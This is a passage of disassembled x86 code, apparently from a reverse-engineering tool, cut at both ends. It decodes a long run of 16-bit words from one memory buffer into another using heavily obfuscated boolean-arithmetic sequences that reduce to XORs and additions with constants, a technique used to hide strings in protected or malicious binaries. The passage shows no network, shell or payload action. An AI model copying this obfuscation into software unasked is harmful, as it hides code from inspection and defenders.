or si, 0
xor si, 0xffff
or si, 0
xor si, 0xffff
mov cx, si
and cx, ax
xor cx, 0xffff
add ax, si
add ax, 1
add ax, cx
xor ax, 0xffff
or ax, 0x5948
and dx, 0x5948
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x474cc4], ax
mov ax, word [0x474ac6]
mov cx, ax
xor cx, 0x7de8
xor cx, 0xffff
and cx, 0x7de8
shl cx, 1
sub cx, 0x7de8
sub ax, cx
mov word [0x474cc6], ax
mov ax, word [0x474ac8]
mov dx, ax
xor dx, 0x1b7e
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
and dx, 0xffff
xor dx, 0xffff
and dx, 0x1b7e
shl dx, 1
sub dx, 0x1b7e
mov cx, ax
xor cx, dx
xor dx, 0xffff
and ax, dx
shl ax, 1
sub ax, cx
mov word [0x474cc8], ax
mov ax, word [0x474aca]
xor ax, 0x67a7
mov word [str.oRE], ax
mov cx, word [0x474acc]
mov ax, cx
xor ax, 0xffff
and ax, 0xeca3
mov si, cx
xor si, 0xeca3
and si, cx
mov dx, ax
xor dx, 0xffff
mov cx, si
xor cx, 0xffff
and dx, cx
or ax, si
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x474ccc], dx
mov ax, word [0x474ace]
xor ax, 0x50db
mov word [0x474cce], ax
mov ax, word [0x474ad0]
mov cx, ax
and cx, 0x2e1d
shl cx, 1
add ax, 0x2e1d
sub ax, cx
mov word [0x474cd0], ax
mov ax, word [0x474ad2]
xor ax, 0x1cf0
mov word [0x474cd2], ax
mov cx, word [0x474ad4]
mov ax, cx
xor ax, 0xffff
or ax, 0xf656
add ax, 0x9aa
and cx, 0xf656
or ax, cx
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0x333f
xor ax, 0xffff
and ax, 0xccc0
or dx, ax
xor dx, 0xffff
mov word [0x474cd4], dx
mov ax, word [0x474ad6]
xor ax, 0x88a1
mov word [0x474cd6], ax
mov ax, word [0x474ad8]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
and dx, 0x561b
and ax, 0xa9e4
or dx, ax
mov word [0x474cd8], dx
mov ax, word [0x474ada]
xor ax, 0x8124
mov word [0x474cda], ax
mov ax, word [0x474adc]
xor ax, 0x3fc5
mov word [0x474cdc], ax
mov dx, word [0x474ade]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
xor ax, 0xffff
or ax, 0xcd6a
and dx, 0xcd6a
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x474cde], ax
mov ax, word [0x474ae0]
xor ax, 0xc58c
mov word [0x474ce0], ax
mov ax, word [str.yocn]
xor ax, 0x7832
mov word [0x474ce2], ax
mov ax, word [0x474ae4]
mov cx, ax
and cx, 0x6276
shl cx, 1
sub ax, 0x9d8a
xor cx, 0xffff
add ax, cx
add ax, 1
mov word [0x474ce4], ax
mov dx, word [0x474ae6]
mov ax, dx
xor ax, 0xffff
mov si, dx
and si, si
xor si, 0xffff
and si, 0xffff
xor si, 0xffff
and si, 0xffff
xor si, 0xffff
or ax, si
and ax, 0xb777
xor ax, 0xffff
and dx, 0x4888
or dx, dx
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
and ax, dx
mov cx, ax
xor cx, 0xffff
and cx, 0xba91
and ax, 0x456e
or cx, ax
xor cx, 0x456e
mov word [0x474ce6], cx
mov dx, word [0x474ae8]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0xdb10
xor ax, 0xffff
and dx, 0x24ef
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x474ce8], ax
mov ax, word [0x474aea]
mov cx, ax
xor cx, 0xe7e7
xor cx, 0xffff
and cx, 0xe7e7
shl cx, 1
sub cx, 0xe7e7
sub ax, cx
mov word [0x474cea], ax
mov ax, word [0x474aec]
mov cx, ax
and cx, 0x8811
shl cx, 1
add ax, 0x8811
sub ax, cx
mov word [0x474cec], ax
mov ax, word [str.S_tf_t]
xor ax, 0xa3cc
mov word [0x474cee], ax
mov ax, word [0x474af0]
mov cx, ax
and cx, 0x84a
shl cx, 1
mov dx, ax
add dx, 0x84a
sub dx, cx
xor dx, 0xffff
xor dx, 0xffff
xor dx, 0x84a
and dx, 0x84a
shl dx, 1
sub dx, 0x84a
sub ax, dx
mov word [0x474cf0], ax
mov ax, word [0x474af2]
xor ax, 0x87f
mov word [0x474cf2], ax
mov ax, word [0x474af4]
xor ax, 0xb5ed
mov word [0x474cf4], ax
mov ax, word [0x474af6]
xor ax, 0x3306
mov word [0x474cf6], ax
mov ax, word [0x474af8]
xor ax, 0xed13
mov word [0x474cf8], ax
mov ax, word [0x474afa]
xor ax, 0x31ab
mov word [0x474cfa], ax
mov ax, word [0x474afc]
mov si, ax
or si, si
mov cx, si
and cx, 0xffff
shl cx, 1
add si, 0xffff
sub si, cx
or si, 0xccf1
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
or ax, 0x330e
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
or dx, ax
xor dx, 0xffff
and dx, 0xffff
or dx, 0
mov word [0x474cfc], dx
mov ax, word [0x474afe]
xor ax, 0x8bf4
mov word [0x474cfe], ax
mov ax, word [0x474b00]
mov dx, ax
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x4bb8
or ax, 0x4bb8
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x474d00], dx
mov dx, word [0x474b02]
mov ax, dx
or ax, ax
xor ax, 0xffff
or ax, 0xad91
xor ax, 0xffff
xor dx, 0xffff
and dx, 0xad91
or ax, dx
xor ax, 0xffff
mov word [0x474d02], ax
mov ax, word [0x474b04]
mov dx, ax
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0xd195
and ax, 0xd195
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x474d04], dx
mov ax, word [0x474b06]
xor ax, 0xff51
mov word [str.2Z__eS], ax
mov ax, word [0x474b08]
xor ax, 0x7c17
mov word [0x474d08], ax
mov ax, word [0x474b0a]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
and dx, 0x1a0f
and ax, 0xe5f0
and dx, dx
xor dx, 0xffff
and ax, ax
xor ax, 0xffff
and dx, ax
xor dx, 0xffff
mov word [0x474d0a], dx
mov ax, word [0x474b0c]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov si, ax
add si, 0xffff
sub si, cx
and si, 0x1bb4
mov di, ax
xor di, 0x1bb4
and di, ax
mov dx, si
xor dx, 0xffff
mov bx, di
xor bx, 0xffff
mov ax, dx
and ax, 0x653c
and si, 0x9ac3
mov cx, bx
and cx, 0x653c
and di, 0x9ac3
or ax, si
or cx, di
xor ax, cx
or dx, bx
xor dx, 0xffff
and dx, 0xffff
or ax, dx
mov cx, ax
xor cx, 0xffff
and cx, 0xb94e
and ax, 0x46b1
or cx, ax
xor cx, 0xbe83
mov word [0x474d0c], cx
mov dx, word [0x474b0e]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
or ax, 0xb4d8
xor ax, 0xffff
or dx, 0x4b27
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x474d0e], ax
mov ax, word [0x474b10]
mov cx, ax
xor cx, 0x8e6
xor cx, 0xffff
and cx, 0x8e6
shl cx, 1
sub cx, 0x8e6
sub ax, cx
mov word [0x474d10], ax
mov ax, word [0x474b12]
mov cx, ax
xor cx, 0xffff
and cx, 0x9568
and ax, 0x6a97
or cx, ax
xor cx, 0x50d9
mov word [0x474d12], cx
mov ax, word [0x474b14]
mov dx, ax
xor dx, 0x110c
xor dx, 0xffff
and dx, 0x110c
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0x110c
sub ax, dx
mov word [0x474d14], ax
mov ax, word [0x474b16]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x970f
xor ax, 0xffff
or ax, 0x68f0
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x474d16], dx
mov ax, word [0x474b18]
xor ax, 0xa91a
mov word [0x474d18], ax
mov ax, word [0x474b1a]
mov cx, ax
xor cx, 0xffff
and cx, 0x638d
and ax, 0x9c72
or cx, ax
xor cx, 0xc7f2
mov word [0x474d1a], cx
mov ax, word [0x474b1c]
xor ax, 0x93fe
mov word [0x474d1c], ax
mov dx, word [0x474b1e]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov si, dx
sub si, cx
and ax, si
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0
and ax, 0xdb27
or dx, 0xdb27
and dx, dx
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x474d1e], ax
mov ax, word [0x474b20]
mov cx, ax
and cx, 0x9576
shl cx, 1
add ax, 0x9576
sub ax, cx
mov word [0x474d20], ax
mov dx, word [0x474b22]
mov cx, dx
or cx, cx
mov ax, cx
xor ax, 0xffff
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
and ax, ax
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xf92
mov di, dx
xor di, 0xffff
mov si, di
and si, 0x4356
and dx, 0xbca9
or si, dx
xor si, 0x4cc4
or di, 0xf06d
xor di, 0xffff
and di, 0xffff
or si, di
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor dx, 0xffff
xor ax, 0xffff
mov si, dx
xor si, 0xffff
xor dx, 0xffff
and si, dx
or si, 0
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, si
add ax, cx
mov word [0x474d22], ax
mov ax, word [0x474b24]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x462
xor ax, 0xffff
or ax, 0xfb9d
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor ax, 0xffff
or dx, ax
mov word [0x474d24], dx
mov si, word [0x474b26]
mov ax, si
xor ax, 0xffff
and ax, 0xcbbf
mov dx, si
and dx, 0x3440
xor dx, 0xffff
xor si, 0xffff
or si, 0xcbbf
xor dx, 0xffff
xor si, 0xffff
or dx, si
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
mov word [0x474d26], ax
mov ax, word [0x474b28]
xor ax, 0x809b
mov word [0x474d28], ax
mov ax, word [0x474b2a]
mov cx, ax
or cx, cx
mov si, cx
xor si, 0xffff
xor cx, 0xffff
or si, cx
xor si, 0xffff
or si, 0
and si, 0xffff
xor si, 0xffff
mov dx, si
and dx, 0x9704
xor si, 0x9704
or dx, si
xor dx, 0xffff
xor ax, 0xffff
and ax, 0x9704
mov si, dx
or si, ax
xor si, 0xffff
or dx, ax
xor dx, 0xffff
or si, dx
xor si, 0xffff
xor si, 0xffff
mov word [0x474d2a], si
mov ax, word [0x474b2c]
xor ax, 0x7421
mov word [0x474d2c], ax
mov dx, word [0x474b2e]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xf9b1
xor ax, 0xffff
xor dx, 0xffff
or dx, 0xf9b1
and ax, dx
xor ax, 0xffff
mov word [0x474d2e], ax
mov ax, word [0x474b30]
xor ax, 0x548b
mov word [0x474d30], ax
mov dx, word [0x474b32]
mov cx, dx
and cx, 0xffff
shl cx, 1
mov ax, dx
add ax, 0xffff
sub ax, cx
and ax, 0x4491
mov si, dx
and si, 0xbb6e
xor si, 0xffff
xor dx, 0xffff
or dx, 0x4491
and si, dx
xor si, 0xffff
mov cx, ax
and cx, si
xor ax, si
or cx, ax
mov word [0x474d32], cx
mov ax, word [0x474b34]
xor ax, 0xde30
mov word [0x474d34], ax
mov dx, word [0x474b36]
mov ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
and ax, 0xf79c
or dx, dx
xor dx, 0xffff
or dx, 0xf79c
xor dx, 0xffff
or ax, dx
xor ax, 0xa7f9
mov word [0x474d36], ax
mov ax, word [0x474b38]
xor ax, 0x6daf
mov word [0x474d38], ax
mov ax, word [0x474b3a]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
mov cx, dx
xor cx, 0xaa1
xor cx, 0xffff
or dx, 0xaa1
and dx, cx
mov si, ax
xor si, 0xffff
or si, 0xaa1
xor ax, 0xffff
or ax, 0xaa1
xor si, 0xffff
xor ax, 0xffff
or si, ax
mov ax, dx
and ax, si
xor dx, si
or ax, dx
xor ax, 0xd7dc
mov word [0x474d3a], ax
mov ax, word [0x474b3c]
xor ax, 0x128a
mov word [0x474d3c], ax
mov ax, word [0x474b3e]
mov si, ax
or si, si
xor si, 0xffff
or si, 0
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
mov di, ax
xor di, 0xffff
mov cx, ax
xor cx, 0xffff
or di, cx
and di, 0xffff
xor di, 0xffff
xor di, 0xffff
or di, 0
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
mov cx, di
xor cx, 0xffff
xor di, 0xffff
and cx, di
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
or dx, 0x6dc2
xor dx, 0xffff
and dx, 0xffff
or dx, 0
mov si, ax
and si, 0x923d
xor ax, 0x923d
or si, ax
xor si, 0xffff
and si, 0xffff
or si, 0
and dx, dx
xor dx, 0xffff
and si, si
xor si, 0xffff
and dx, si
xor dx, 0xffff
mov ax, dx
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
mov word [0x474d3e], ax
mov ax, word [0x474b40]
mov dx, ax
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xe9bc
or ax, 0xe9bc
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x474d40], dx
mov ax, word [0x474b42]
mov dx, ax
and dx, 0x694a
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x694a
sub ax, dx
mov word [0x474d42], ax
mov ax, word [0x474b44]
mov cx, ax
and cx, 0x1d87
shl cx, 1
add ax, 0x1d87
sub ax, cx
mov word [0x474d44], ax
mov ax, word [0x474b46]
xor ax, 0xe9cd
mov word [0x474d46], ax
mov ax, word [0x474b48]
xor ax, 0xdb6f
mov word [0x474d48], ax
mov dx, word [0x474b4a]
mov ax, dx
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0x8a32
xor dx, 0xffff
and dx, 0x75cd
or ax, dx
xor ax, 0xffff
mov word [0x474d4a], ax
mov ax, word [0x474b4c]
xor ax, 0x9410
mov word [0x474d4c], ax
mov ax, word [0x474b4e]
mov cx, ax
xor cx, 0x6ec
xor cx, 0xffff
mov dx, ax
or dx, 0x6ec
and dx, cx
shl dx, 1
add ax, 0x6ec
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x474d4e], ax
mov ax, word [0x474b50]
xor ax, 0xc8e3
mov word [0x474d50], ax
mov ax, word [0x474b52]
xor ax, 0xfd55
mov word [0x474d52], ax
mov ax, word [0x474b54]
mov cx, ax
xor cx, 0xffff
and cx, 0x8e44
and ax, 0x71bb
or cx, ax
mov word [0x474d54], cx
mov ax, word [0x474b56]
xor ax, 0xf14b
mov word [0x474d56], ax
mov dx, word [0x474b58]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
or ax, 0xee50
xor ax, 0xffff
xor dx, 0xffff
and dx, 0xee50
or ax, dx
xor ax, 0xffff
mov word [str.h:_z], ax
mov ax, word [0x474b5a]
mov si, ax
and si, si
xor si, 0xffff
mov cx, ax
and cx, cx
xor cx, 0xffff
xor si, 0xffff
xor cx, 0xffff
or si, cx
xor si, 0xffff
mov dx, si
xor dx, 0xffff
and dx, 0x8585
and si, 0x7a7a
or dx, si
xor dx, 0x7a7a
mov cx, dx
and cx, 0x3cbf
mov si, dx
xor si, 0xc340
add dx, si
sub dx, cx
xor ax, 0xffff
or ax, 0x3cbf
mov si, dx
xor si, 0xffff
and si, 0x14d7
and dx, 0xeb28
or si, dx
xor si, 0xeb28
xor ax, 0xffff
mov cx, si
or cx, ax
xor cx, 0xffff
or si, ax
xor si, 0xffff
or cx, si
xor cx, 0xffff
mov word [0x474d5a], cx
mov dx, word [0x474b5c]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0x6085
xor ax, 0xffff
and dx, 0x9f7a
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x474d5c], ax
mov ax, word [0x474b5e]
mov cx, ax
xor cx, 0xffff
and cx, 0x2c10
and ax, 0xd3ef
mov dx, cx
and dx, ax
xor cx, ax
or dx, cx
xor dx, 0xeb68
mov word [0x474d5e], dx
mov ax, word [0x474b60]
xor ax, 0xa5dc
mov word [0x474d60], ax
mov ax, word [0x474b62]
xor ax, 0xbee1
mov word [0x474d62], ax
mov ax, word [0x474b64]
mov cx, ax
and cx, cx
mov si, cx
xor si, 0xffff
xor cx, 0xffff
and si, cx
or si, 0
xor si, 0xffff
or si, 0
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
or si, 0
mov di, si
xor di, 0xffff
mov dx, di
and dx, 0x2145
and si, 0xdeba
or dx, si
xor dx, 0x7449
or di, 0xaaf3
xor di, 0xffff
and di, 0xffff
or dx, di
mov cx, ax
xor cx, 0x550c
xor cx, 0xffff
or ax, 0x550c
and ax, cx
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
mov si, dx
and si, ax
xor si, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
and si, dx
xor si, 0xffff
mov ax, si
and ax, 0xffff
shl ax, 1
add si, 0xffff
sub si, ax
mov word [0x474d64], si
mov ax, word [0x474b66]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor dx, 0xffff
mov cx, dx
xor cx, 0xe24d
xor cx, 0xffff
or dx, 0xe24d
and dx, cx
mov cx, ax
xor cx, 0x1db2
xor cx, 0xffff
or ax, 0x1db2
and ax, cx
or dx, ax
mov word [0x474d66], dx
mov ax, word [0x474b68]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
and dx, 0xb3c8
and ax, 0x4c37
mov cx, ax
xor cx, 0xffff
mov si, dx
and si, cx
mov cx, dx
xor cx, ax
add dx, cx
sub dx, si
xor dx, 0x3bb2
mov word [0x474d68], dx
mov dx, word [0x474b6a]
mov ax, dx
xor ax, 0xffff
mov cx, ax
xor cx, 0x2f64
xor cx, 0xffff
or ax, 0x2f64
and ax, cx
and dx, 0xd09b
and ax, ax
xor ax, 0xffff
and dx, dx
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x474d6a], ax
mov ax, word [0x474b6c]
xor ax, 0xb81d
mov word [0x474d6c], ax
mov ax, word [0x474b6e]
mov cx, ax
xor cx, 0xffff
and cx, 0x9de9
and ax, 0x6216
or cx, ax
xor cx, 0x656a
mov word [0x474d6e], cx
mov ax, word [0x474b70]
xor ax, 0x54a3
mov word [0x474d70], ax
mov ax, word [0x474b72]
mov si, ax
xor si, 0xffff
mov bx, ax
xor bx, 0xffff
mov word [ebp - 0x2a], bx
mov dx, si
and dx, 0x9d9d
mov di, ax
and di, 0x6262
and bx, 0x9d9d
mov cx, ax
and cx, 0x6262
or dx, di
or bx, cx
xor dx, bx
or si, word [ebp - 0x2a]
xor si, 0xffff
and si, 0xffff
or dx, si
mov si, dx
xor si, 0xffff
and si, 0x3b8
and dx, 0xfc47
or si, dx
xor si, 0xfc47
xor si, 0xffff
mov dx, si
xor dx, 0xffff
or dx, 0xa2a7
xor si, 0xffff
or si, 0xa2a7
and dx, si
xor dx, 0xffff
xor ax, 0xffff
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, 0xa2a7
add ax, cx
or dx, ax
xor dx, 0xffff
mov word [0x474d72], dx
mov dx, word [0x474b74]
mov si, dx
or si, si
xor si, 0xffff
mov ax, si
xor ax, 0xffff
and ax, 0x355c
or si, 0xcaa3
xor si, 0xffff
or ax, si
xor ax, 0xffff
xor ax, 0xffff
mov di, dx
xor di, 0xffff
mov si, di
and si, 0x1a65
and dx, 0xe59a
or si, dx
xor si, 0x2f39
or di, 0xcaa3
xor di, 0xffff
and di, 0xffff
or si, di
mov cx, si
and cx, 0xffff
shl cx, 1
add si, 0xffff
sub si, cx
or ax, si
mov dx, ax
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor dx, 0xffff
mov word [0x474d74], dx
mov ax, word [0x474b76]
xor ax, 0x4e43
mov word [0x474d76], ax
mov ax, word [0x474b78]
mov cx, ax
xor cx, 0xffff
and cx, 0x662a
and ax, 0x99d5
or cx, ax
xor cx, 0x3b96
mov word [0x474d78], cx
mov ax, word [0x474b7a]
xor ax, 0x3002
mov word [0x474d7a], ax
mov ax, word [0x474b7c]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
mov cx, dx
xor cx, 0x8bc9
xor cx, 0xffff
or dx, 0x8bc9
and dx, cx
and ax, 0x7436
or dx, ax
xor dx, 0x47e7
mov word [0x474d7c], dx
mov dx, word [0x474b7e]
mov ax, dx
or ax, ax
xor ax, 0xffff
or ax, 0xbef3
xor ax, 0xffff
or dx, 0x410c
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
xor ax, 0xffff
mov word [0x474d7e], ax
mov ax, word [0x474b80]
mov dx, ax
and dx, 0xb13d
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or cx, 0x4ec2
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
shl dx, 1
add ax, 0xb13d
sub ax, dx
mov word [0x474d80], ax
mov ax, word [0x474b82]
mov dx, ax
xor dx, 0xd8fa
xor dx, 0xffff
and dx, 0xd8fa
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
mov cx, dx
xor cx, 0xffff
and cx, 0xd8fa
and dx, 0x2705
sub dx, cx
sub ax, dx
mov word [0x474d82], ax
mov ax, word [0x474b84]
xor ax, 0x371e
mov word [0x474d84], ax
mov dx, word [0x474b86]
mov ax, dx
or ax, ax
xor ax, 0xffff
or ax, 0xa4f3
xor ax, 0xffff
or dx, 0x5b0c
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x474d86], ax
mov dx, word [0x474b88]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
and ax, 0x3baf
or dx, 0x3baf
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x474d88], ax
mov ax, word [0x474b8a]
xor ax, 0xff05
mov word [0x474d8a], ax
mov ax, word [0x474b8c]
xor ax, 0x47ff
mov word [0x474d8c], ax
mov ax, word [0x474b8e]
xor ax, 0x2cf3
mov word [0x474d8e], ax
mov dx, word [0x474b90]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
mov si, cx
and si, ax
xor si, 0xffff
add ax, cx
add ax, 1
add ax, si
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
or ax, 0x7487
xor dx, 0xffff
mov cx, dx
and cx, 0x8b78
xor cx, 0xffff
add dx, 0x8b78
add dx, 1
add dx, cx
xor dx, 0xffff
mov cx, ax
xor cx, dx
and cx, ax
xor cx, 0xffff
mov word [0x474d90], cx
mov dx, word [0x474b92]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0xef7a
xor ax, 0xffff
and dx, 0x1085
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
mov si, ax
and si, dx
xor si, 0xffff
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
xor si, 0xffff
xor ax, 0xffff
or si, ax
xor si, 0xffff
mov word [0x474d92], si
mov ax, word [0x474b94]
xor ax, 0xf2a6
mov word [0x474d94], ax
mov dx, word [0x474b96]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
mov cx, dx
and cx, 0xffff
shl cx, 1
mov si, dx
add si, 0xffff
sub si, cx
or ax, si
xor ax, 0xffff
or ax, 0x4f51
and dx, 0x4f51
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
and dx, 0xffff
xor dx, 0xffff
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, dx
add ax, cx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov word [0x474d96], ax
mov ax, word [0x474b98]
mov dx, ax
and dx, 0x78e6
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x1d22
add ax, 0x78e6
sub ax, 0x1d22
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x474d98], ax
mov dx, word [0x474b9a]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
xor ax, 0xbcbb
and ax, 0xbcbb
and dx, 0x4344
or ax, dx
mov cx, ax
and cx, 0x4d4f
shl cx, 1
add ax, 0x4d4f
sub ax, cx
mov word [0x474d9a], ax
mov cx, word [0x474b9c]
mov ax, cx
xor ax, 0xffff
and ax, 0x6ec4
mov dx, cx
xor dx, 0x6ec4
and dx, cx
mov cx, dx
xor cx, 0xffff
mov si, ax
and si, cx
mov cx, ax
xor cx, dx
add ax, cx
sub ax, si
mov cx, ax
xor cx, 0xfa67
xor cx, 0xffff
and cx, 0xfa67
shl cx, 1
sub cx, 0xfa67
sub ax, cx
mov word [0x474d9c], ax
mov ax, word [0x474b9e]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
and dx, 0x1450
and ax, 0xebaf
mov cx, dx
and cx, ax
xor dx, ax
or cx, dx
mov word [0x474d9e], cx
mov ax, word [0x474ba0]
mov cx, ax
xor cx, 0x39c2
xor cx, 0xffff
and cx, 0x39c2
shl cx, 1
sub cx, 0x39c2
sub ax, cx
mov word [0x474da0], ax
mov ax, word [0x474ba2]
xor ax, 0x9de3
mov word [0x474da2], ax
mov ax, word [0x474ba4]
xor ax, 0x30b0
mov word [0x474da4], ax
mov ax, word [0x474ba6]
xor ax, 0x75e3
mov word [0x474da6], ax
mov ax, word [0x474ba8]
mov dx, ax
xor dx, 0xb7b3
xor dx, 0xffff
xor dx, 0xffff
xor dx, 0xb7b3
and dx, 0xb7b3
shl dx, 1
sub dx, 0xb7b3
sub ax, dx
mov word [0x474da8], ax
mov dx, word [0x474baa]
mov ax, dx
xor ax, 0xffff
and ax, 0xb8f7
mov cx, dx
and cx, 0x4708
or ax, cx
xor ax, 0x4708
and ax, 0x89b9
xor dx, 0xffff
or dx, 0x89b9
xor dx, 0xffff
and dx, 0xffff
mov cx, ax
and cx, dx
xor ax, dx
or cx, ax
mov word [0x474daa], cx
mov ax, word [0x474bac]
xor ax, 0xdad5
mov word [0x474dac], ax
mov ax, word [0x474bae]
mov dx, ax
and dx, 0xd1ac
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0xd1ac
sub ax, dx
mov word [0x474dae], ax
mov cx, word [0x474bb0]
mov ax, cx
xor ax, 0xffff
and ax, 0xd9c
and cx, 0xf263
mov dx, cx
xor dx, 0xffff
mov si, ax
and si, dx
mov dx, ax
xor dx, cx
add ax, dx
sub ax, si
mov word [0x474db0], ax
mov ax, word [0x474bb2]
xor ax, 0xa700
mov word [0x474db2], ax
mov ax, word [0x474bb4]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
